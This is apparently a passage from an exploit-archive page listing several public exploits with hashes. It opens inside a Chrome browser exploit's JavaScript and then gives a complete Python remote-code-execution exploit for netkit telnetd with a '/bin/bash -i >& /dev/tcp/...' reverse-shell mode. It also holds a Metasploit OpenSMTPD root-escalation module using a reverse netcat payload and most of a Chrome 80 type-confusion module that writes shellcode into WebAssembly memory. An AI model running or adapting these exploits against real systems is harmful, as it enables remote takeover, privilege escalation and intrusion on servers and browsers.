let memview = new BigUint64Array(memview_buf);
memview[0] = ptr;
},
addrof(obj) {
memview_buf.leakMe = obj;
let props = this.readPtr(memview_buf_addr + 8n);
return this.readPtr(props + 15n) - 1n;
},
};

// Generate a RWX region for the payload
function get_wasm_instance() {
var buffer = new Uint8Array([
0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
]);
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
}

let wasm_instance = get_wasm_instance();
let wasm_addr = memory.addrof(wasm_instance);
print("wasm_addr @ " + hex(wasm_addr));
let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
print("wasm_rwx @ " + hex(wasm_rwx_addr));

memory.write(wasm_rwx_addr, shellcode);

let fake_vtab = new ArrayBuffer(0x80);
let fake_vtab_u64 = new BigUint64Array(fake_vtab);
let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);

let div = document.createElement('div');
let div_addr = memory.addrof(div);
print('div_addr @ ' + hex(div_addr));
let el_addr = memory.readPtr(div_addr + 0x20n);
print('el_addr @ ' + hex(div_addr));

fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
memory.writePtr(el_addr, fake_vtab_addr);

print('Triggering...');

// Trigger virtual call
div.dispatchEvent(new Event('click'));

// We are done here, repair the corrupted array buffers
let addr = memory.addrof(driver_buf);
memory.writePtr(addr + 32n, original_driver_buf_ptr);
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
}

pwn();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(///.*$/, '') # strip comments
jscript.gsub!(/^s*prints*(.*?);s*$/, '') # strip print(*);
end

html = %Q^



#{jscript}





^

send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end

Source

netkit-telnet version 0.17 telnetd on Fedora 31 BraveStarr remote code execution exploit.

MD5 | 503ae749118ebb1b92bd9fc3e9b4caba

#!/usr/bin/env python3
#
# BraveStarr
# ==========
#
# Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd.
#
# This is for demonstration purposes only. It has by no means been engineered
# to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot
# of other constraints are not validated.
#
# AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer
#
import argparse
import base64
import fcntl
import gzip
import socket
import struct
import sys
import termios
import time

class BraveStarr(object):
SE = 240 # 0xf0
DM = 242 # 0xf2
AO = 245 # 0xf5
SB = 250 # 0xfa
WILL = 251 # 0xfb
WONT = 252 # 0xfc
DO = 253 # 0xfd
IAC = 255 # 0xff

TELOPT_STATUS = 5
TELOPT_TTYPE = 24
TELOPT_NAWS = 31
TELOPT_TSPEED = 32
TELOPT_XDISPLOC = 35
TELOPT_ENVIRON = 39

TELQUAL_IS = 0
TELQUAL_SEND = 1
TELQUAL_INFO = 2

NETIBUF_SIZE = 8192
NETOBUF_SIZE = 8192

# Data segment offsets of interesting variables relative to `netibuf'.
netibuf_deltas = {
'loginprg': -34952,
'state_rcsid': -34880,
'subpointer': -34816,
'ptyslavefd': -34488,
'environ': -33408,
'state': -33268,
'LastArgv': -26816,
'Argv': -26808,
'remote_host_name': -26752,
'pbackp': -9232,
'nbackp': 8192
}

def __init__(self, host, port=23, timeout=5, callback_host=None):
self.host = host
self.port = port
self.sd = None
self.timeout = timeout

self.leak_marker = b"MARKER|MARKER"
self.addresses = {}
self.values = {}

if callback_host is not None:
self.chost = bytes(callback_host, 'ascii')

def fatal(self, msg):
print(msg, file=sys.stderr)
sys.exit(1)

def connect(self):
self.sd = socket.create_connection((self.host, self.port))

# Try to ensure the remote side will read a full 8191 bytes for
# `netobuf_fill' to work properly.
self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191)

def address_delta(self, name1, name2):
return self.addresses[name1] - self.addresses[name2]

def address_serialize(self, name):
return struct.pack("<Q", self.addresses[name])

def ao(self):
return b"%c%c" % (self.IAC, self.AO)

def do(self, cmd):
return b"%c%c%c" % (self.IAC, self.DO, cmd)

def sb(self):
return b"%c%c" % (self.IAC, self.SB)

def se(self):
return b"%c%c" % (self.IAC, self.SE)

def will(self, cmd):
return b"%c%c%c" % (self.IAC, self.WILL, cmd)

def wont(self, cmd):
return b"%c%c%c" % (self.IAC, self.WONT, cmd)

def tx_flush(self):
while self.tx_len() != 0:
time.sleep(0.2)

def tx_len(self):
data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, " ")
return struct.unpack('i', data)[0]

def netobuf_fill(self, delta):
# This populates the prefix of `netobuf' with IAC WONT SB triplets.
# This is not relevant now, but during the next time data is sent and
# `netobuf' will be reprocessed in `netclear' will calls `nextitem'.
# The `nextitem' function will overindex past `nfrontp' and use these
# triplets in the processing logic.
s = self.do(self.SB) * delta

# IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set
# `neturg' to the DM byte in `netobuf'.
s += self.ao()

# In this request, every byte in `netibuf' will store a byte in
# `netobuf'. Here we ensure that all `netobuf' space is filled except
# for the last byte.
s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3)

# We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC
# triplet will write IAC to the last free byte of `netobuf'. After
# this `netflush' will be called, and the DO IAC bytes will be written
# to the beginning of the now empty `netobuf'.
s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3)

# Send it out. This should be read in a single read(..., 8191) call on
# the remote side. We should probably tune the TCP MSS for this.
self.sd.sendall(s)

# We need to ensure this is written to the remote now. This is a bit
# of a kludge, as the remote can perfectly well still merge the
# separate packets into a single read(). This is less likely as the
# time delay increases. To do this properly we'd need to statefully
# match the responses to what we send. Alack, this is a PoC.
self.tx_flush()

def reset_and_sync(self):
# After triggering the bug, we want to ensure that nbackp = nfrontp =
# netobuf We can do so by getting netflush() called, and an easy way to
# accomplish this is using the TELOPT_STATUS suboption, which will end
# with a netflush.
self.telopt_status()

# We resynchronize on the output we receive by loosely scanning if the
# TELOPT_STATUS option is there. This is not a reliable way to do
# things. Alack, this is a PoC.
s = b""
status = b"%s%c" % (self.sb(), self.TELOPT_STATUS)
while status not in s and not s.endswith(self.se()):
s += self.sd.recv(self.NETOBUF_SIZE)

def telopt_status(self, mode=None):
if mode is None: mode = self.TELQUAL_SEND
s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se())
self.sd.sendall(self.do(self.TELOPT_STATUS))
self.sd.sendall(s)

def trigger(self, delta, prefix=b"", suffix=b""):
assert b"xff" not in prefix
assert b"xff" not in suffix

s = prefix

# Add a literal b"xffxf0" to `netibuf'. This will terminate the
# `nextitem' scanning for IAC SB sequences.
s += self.se()
s += self.do(self.IAC) * delta

# IAC AO will force a call to `netclear'.
s += self.ao()
s += suffix

self.sd.sendall(s)

def infoleak(self):
# We use a delta that creates a SB/SE item
delta = 512
self.netobuf_fill(delta)
self.trigger(delta, self.leak_marker)

s = b""
self.sd.settimeout(self.timeout)
while self.leak_marker not in s:
try:
ret = self.sd.recv(8192)
except socket.timeout:
self.fatal('infoleak unsuccessful.')

if ret == b"":
self.fatal('infoleak unsuccessful.')
s += ret

return s

def infoleak_analyze(self, s):
m = s.rindex(self.leak_marker)
s = s[:m-20] # Cut 20 bytes of padding off too.

# Layout will depend on build. This works on Fedora 31.
self.values['net'] = struct.unpack("<I", s[-4:])[0]
self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0]
self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0]
self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0]

# Resolve Fedora 31 specific addresses.
self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980
adjustment = len(max(self.netibuf_deltas, key=len))
for k, v in self.netibuf_deltas.items():
self.addresses[k] = self.addresses['netibuf'] + v

def _scratch_build(self, cmd, argv, envp):
# We use `state_rcsid' as the scratch memory area. As this area is
# fairly small, the bytes after it on the data segment will likely
# also be used. Nothing harmful is contained here for a while, so
# this is okay.
scratchpad = self.addresses['state_rcsid']
exec_stub = b"/bin/bash"
rcsid = b""
data_offset = (len(argv) + len(envp) + 2) * 8

# First we populate all argv pointers into the scratchpad.
argv_address = scratchpad
for arg in argv:
rcsid += struct.pack("<Q", scratchpad + data_offset)
data_offset += len(arg) + 1
rcsid += struct.pack("<Q", 0)

# Next we populate all envp pointers into the scratchpad.
envp_address = scratchpad + len(rcsid)
for env in envp:
rcsid += struct.pack("<Q", scratchpad + data_offset)
data_offset += len(env) + 1
rcsid += struct.pack("<Q", 0)

# Now handle the argv strings.
for arg in argv:
rcsid += arg + b''

# And the environment strings.
for env in envp:
rcsid += env + b''

# Finally the execution stub command is stored here.
stub_address = scratchpad + len(rcsid)
rcsid += exec_stub + b""

return (rcsid, argv_address, envp_address, stub_address)

def _fill_area(self, name1, name2, d):
return b"" * (self.address_delta(name1, name2) - d)

def exploit(self, cmd):
env_user = b"USER=" + cmd
rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user])

# The initial exploitation vector: this overwrite the area after
# `netobuf' with updated pointers values to overwrite `loginprg'
v = struct.pack("<Q", self.addresses['netibuf']) # netip
v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp
v += struct.pack("<Q", 0) # neturg
v += struct.pack("<I", self.values['net']) # net
v = v.ljust(48, b'') # padding

self.netobuf_fill(len(v))
self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8)
self.reset_and_sync()

s = b""
s += self._fill_area('state_rcsid', 'loginprg', 8)
s += rcsid
s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid))
s += struct.pack("<I", 5)
s += self._fill_area('environ', 'ptyslavefd', 4)
s += struct.pack("<Q", envp)
s += self._fill_area('LastArgv', 'environ', 8)
s += struct.pack("<Q", argv) * 2
s += self._fill_area('remote_host_name', 'LastArgv', 16)
s += b"-c"

self.sd.sendall(s)
self.tx_flush()

# We need to finish `getterminaltype' in telnetd and ensure `startslave' is
# called.
self.sd.sendall(self.wont(self.TELOPT_TTYPE))
self.sd.sendall(self.wont(self.TELOPT_TSPEED))
self.sd.sendall(self.wont(self.TELOPT_XDISPLOC))
self.sd.sendall(self.wont(self.TELOPT_ENVIRON))

banner = """
H4sICBThWF4CA2JsYQC1W0ly4zAMvPsLuegJ4i5VnjJv0P+vU44TRwTBbsBy5jBVikRiaywE6GX5
s3+3+38f/9bj41/ePstnLMfz3f3PbP1kqW3xN32xx/kxxe55246Rbum/+dkCcKnx5mPi9BjSfTPJ
pPwAva8VCmBg3qzQgdYaD0FD/US+J/rvITC+PP+lnkQCQOyoL4oMDhFUpM5F0Fee7UCUHlYEoAf/
4Puw7t2zasMOcD2BAvFbomqkh3h2rxCvi+Ap5hnG53s8vB1sKj0JCzriRIrQ85jisSw+PY6hyrw8
SDfC+g3toCYyqKenmA4VBrY4WC681Uif/OtGAnTIxwTBkxD8WEF3nEVfsDCP+5yedwvjzKx71nnt
0BGJvDlTvnsDNSUOIgv+arD/c0GwkPqKaZIaUVxKDlM+Q8Pmsb8OSsF6FFYM64plS0XZAIYESSJm
icYGkRMVoC2Mh8T3UOKUriTGUBhg2siCJgyZhZIz9ldqgnE53p6QHwlQhpuoxuiGOK1kup6I9A6Y
ZlHvsA1iVYWwHSlUiaXQDSbfpOjAwN/MRTamLwLywQSBuEnZIEPMwnU9nAY/FnvSrOtrPolJDjyl
zRMJNBG75yCeN/x9ViNt5wTBHakABFmkrSukxqL+jFvdI7MTX5l7n0s3UrjeWwp1x4DwOvFOXAuM
6IyGuG4hqy0ByqDCp6hsIlRQNpcB6qr4ave8C4MFuWDDJijOeCVKsbKxYELrmDgmoUuY/hHh6WCe
2FdJFUPzrSXgYyxKp2Hyy4yW8gsxgFRGqhr0Nc6A9lzmwIxUeuXLmc8g4SW+Vpq/XCVMocGJHixk
kbha4l3fRXAcG9WzkS+I7DQDn+XZ8MmEBojsdJC8XaovVH15zkqWJLEYeobZG9sj7nIZgiVEfsB+
l7Kr7JRlZTtcdUTIyVdMezN5oamjHZPessEpI5yCONsYqJ0lP2hK/csrOJQyi1GRvqPPF1+OqCbB
/5DL2fKhoUUsGH2kYZRLUGWsS3mSk6nPoDYeNZLhFEpTIiwJDaYaCnGYw3/i5c3Y6obkZx1z1Kim
3e4Yvc10wyTAPcn63hf1z2c6A63tGJOu2B7sCvbhUWcoQwIp3NLB2/CDdYX1Q8MOOsHQM2HfgIgi
1H4NP9H086s3hz7AGv362oRkRIONaA3eoW7h0kSzzFSFNkbxBzLS9pro8AMJQambmJQNuyKkDXIu
cEJOyyapKc8UQOUGMNOEL1U5ApEDqnp4Ly/QkCanBDasIXBl3ZeHRkbDvTEZvbImDCk4Zr2AhXYM
NNZwZzvj48YgkH5GGVoLmfNGqGIlu2bhxVmNjZ0DRzdfFo+DqyYyma3kfEV6WymzQbbMuJLikOej
peaYYdpu5l+UGAas3/Npxz97HUaPuLh4KsWHgCivEkn6gbbCE6QY9oIRX5jAZBgUZphTb2O+aDOs
ddnFkPMp5vRSBfoZC9tJqCnUazDZyQRutd1mmtyJfY/rlM3XldWqezpXdDlnYQcMZ0MqsNwzva96
e1nJAU/nh4s2qzPByQNHcKaw3dXuqNUx/q7kElF2shosB/Dr1nMNLoNvcpFhVBGvy364elss1JeE
mQtDebG7+r/tyljmXBlfsh/t+OIgp4ymcFDjUZL1SNCkw5s5hly5MvrRnZo0TF4zmqOeUy4obBX3
N/i0CGV+0k6SJ2SG+uFHBcPYI66H/bcUt9cdY/KKJmXS1IvBcMTQtLq8cg3sgkLUG+omTBLIRF8i
k/gVorFb728qz/2e2FyRikg5j93vkct9S8/wo7A/YCVl28Fg+RvO7J1Fw6+73sqJ7Td6L1Oz/vrw
r/a+S/cfKpbzJTo5AAA=
"""

parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit")
parser.add_argument('-H', '--hostname', dest='hostname', required=True,
help='Target IP address or hostname')
parser.add_argument('-p', '--port', dest='port', type=int, default=23,
help='port number')
parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10,
help='socket timeout')

method_parser = parser.add_subparsers(dest='method', help='Exploitation method')
method_parser.required = True

method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process')

method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote')
method_cmd_parser.add_argument('command', help='Command to execute')

method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back')
method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to')

args = parser.parse_args()

for line in gzip.decompress(base64.b64decode(banner)).split(b"n"):
sys.stdout.buffer.write(line + b"n")
sys.stdout.buffer.flush()
time.sleep(0.1)

t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout,
callback_host=getattr(args, 'callback', None))

print(f"u26e4 Connecting to {args.hostname}:{args.port}")
t.connect()

# For the `shell' method, we set up a listening socket to receive the callback
# shell on.
if args.method == 'shell':
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sd.bind(('0.0.0.0', 12345))
sd.listen(1)

s = t.infoleak()
t.infoleak_analyze(s)

print("nu26e4 Leaked variables")
print(f" netip : {t.values['netip']:#016x}")
print(f" pfrontp: {t.values['pfrontp']:#016x}")
print(f" neturg : {t.values['neturg']:#016x}")
print(f" net : {t.values['net']}")

print("nu26e4 Resolved addresses")
adjustment = len(max(t.netibuf_deltas, key=len))
for k, v in t.netibuf_deltas.items():
print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}")

if args.method == 'leak':
sys.exit(0)

t.reset_and_sync()

if args.method == 'shell':
t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost)

print("nu26e4 Waiting for connect back shell")
if args.method == 'shell':
import telnetlib

tclient = telnetlib.Telnet()
tclient.sock = sd.accept()[0]
tclient.interact()
sd.close()
elif args.method == 'command':
print(f'nu26e4 Executing command "{args.command}"')
t.exploit(bytes(args.command, 'ascii'))

Source

sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.

MD5 | 441532375d2cf56bdce09438da062dfd

Source

This Metasploit module exploits an out-of-bounds read of an attacker-controlled string in OpenSMTPD's MTA implementation to execute a command as the root or nobody user, depending on the kind of grammar OpenSMTPD uses.

MD5 | 229752794172ef51ce4a73f8eb7d3948

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

# smtpd(8) may crash on a malformed message
Rank = AverageRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Expect

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
'Description' => %q{
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-8794'],
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
],
'DisclosureDate' => '2020-02-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # NOTE: Only when exploiting new grammar
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
'Targets' => [
['OpenSMTPD < 6.6.4 (automatic grammar selection)',
patched_version: Gem::Version.new('6.6.4'),
new_grammar_version: Gem::Version.new('6.4.0')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 25,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 60 # May take a little while for mail to process
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])

# HACK: We need to run check in order to determine a grammar to use
options.remove_option('AutoCheck')
end

def srvhost_addr
Rex::Socket.source_address(session.session_host)
end

def rcpt_to
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
end

def check
smtpd_help = cmd_exec('smtpd -h')

if smtpd_help.empty?
return CheckCode::Unknown('smtpd(8) help could not be displayed')
end

version = smtpd_help.scan(/^version: OpenSMTPD ([d.p]+)$/).flatten.first

unless version
return CheckCode::Unknown('OpenSMTPD version could not be found')
end

version = Gem::Version.new(version)

if version < target[:patched_version]
if version >= target[:new_grammar_version]
vprint_status("OpenSMTPD #{version} is using new grammar")
@grammar = :new
else
vprint_status("OpenSMTPD #{version} is using old grammar")
@grammar = :old
end

return CheckCode::Appears(
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
)
end

CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

start_service

sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"

print_status("Executing local sendmail(8) command: #{sendmail}")
if cmd_exec(sendmail) != 'true'
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
end
end

def on_client_connect(client)
print_status("Client #{client.peerhost}:#{client.peerport} connected")

# Brilliant work, Qualys!
case @grammar
when :new
print_status('Exploiting new OpenSMTPD grammar for a root shell')

yeet = <<~EOF
553-
553

dispatcher: local_mail
type: mda
mda-user: root
mda-exec: #{payload.encoded}; exit 0x00
EOF
when :old
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')

yeet = <<~EOF
553-
553

type: mda
mda-method: mda
mda-usertable:
mda-user: nobody
mda-buffer: #{payload.encoded}; exit 0x00
EOF
else
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
end

sploit = {
'220' => /EHLO /,
'250' => /MAIL FROM:]/,
yeet => nil
}

print_status('Faking SMTP server and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: client,
newline: "rn",
timeout: datastore['ExpectTimeout']
)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
client.close
end

def on_client_close(client)
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
end

end

Source

This Metasploit module exploits an issue in Google Chrome version 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the –no-sandbox option for the payload to work correctly.

MD5 | 2477d57f77b12b3980be7a18ed9dedf2

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Post::File
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
'Description' => %q{
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
corrupts the length of a float array (float_rel), which can then be used for out
of bounds read and write on adjacent memory.
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
which is used for read and writing from absolute memory.
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
which is then replaced with the payload shellcode.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Clément Lecigne', # discovery
'István Kurucsai', # exploit
'Vignesh S Rao', # exploit
'timwr', # metasploit copypasta
],
'References' => [
['CVE', '2020-6418'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
],
'Arch' => [ ARCH_X64 ],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
],
'DisclosureDate' => 'Feb 19 2020'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.raw)
jscript = %Q^
var shellcode = unescape("#{escaped_payload}");

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}

Number.prototype.fhw = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}

Number.prototype.flw = function() {
float_view[0] = this;
return int_view[0] & BigInt(2**32-1);
}

Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}

function hex(a) {
return a.toString(16);
}

//
// EXPLOIT
//

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initially corruption target
var float_carw; // float array, used for reads/writes within the compressed heap
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker; // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
float_carw = [6.6];
uint64_aarw = new BigUint64Array(4);
obj_leaker = {
a: float_rel,
b: float_rel,
};

return Object.prototype;
}
});

function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}

// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
var qw_offset = Math.floor(offset / 2);
if (offset & 1 == 1) {
return float_rel[qw_offset].fhw();
} else {
return float_rel[qw_offset].flw();
}
}

// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
var qw_offset = Math.floor(offset / 2);
// we are writing an 8-byte double under the hood
// read out the other half and keep its value
if (offset & 1 == 1) {
temp = float_rel[qw_offset].flw();
new_val = (val << 32n | temp).i2f();
float_rel[qw_offset] = new_val;
} else {
temp = float_rel[qw_offset].fhw();
new_val = (temp << 32n | val).i2f();
float_rel[qw_offset] = new_val;
}
}

const float_carw_elements_offset = 0x14;

function cabs_read4(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read4: ' + hex(float_carw[0].f2i()));
res = float_carw[0].flw();
// TODO restore elements ptr
return res;
}


// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read8: ' + hex(float_carw[0].f2i()));
res = float_carw[0].f2i();
// TODO restore elements ptr
return res;
}

// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
elements_addr = caddr - 8n | 1n;

temp = cabs_read4(caddr + 4n | 1n);
print('cabs_write4 temp: '+ hex(temp));

new_val = (temp << 32n | val).i2f();

crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));

float_carw[0] = new_val;
// TODO restore elements ptr
return res;
}

const objleaker_offset = 0x41;
function addrof(o) {
obj_leaker.b = o;
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
obj_leaker.b = {};
return addr;
}

const uint64_externalptr_offset = 0x1b; // in 8-bytes

// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

val = uint64_aarw[0];

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}

// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

uint64_aarw[0] = val;

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}

// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset - 1] = 10;
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

for (var i = 0; i < sc.length; ++i) {
uint64_aarw[i] = sc[i]
}

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
}


function get_compressed_rw() {

for (var i = 0; i < 0x10000; ++i) {empty();}

main(empty);
main(empty);

// Function would be jit compiled now.
main(p);

print(`Corrupted length of float_rel array = ${float_rel.length}`);
}

function get_arw() {
get_compressed_rw();
print('should be 0x2: ' + hex(crel_read4(0x15)));
let previous_elements = crel_read4(0x14);
//print(hex(previous_elements));
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));
cabs_write4(previous_elements, 0x66554433n);
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));

print('addrof(float_rel): ' + hex(addrof(float_rel)));
uint64_aarw[0] = 0x4142434445464748n;
}

function rce() {
function get_wasm_func() {
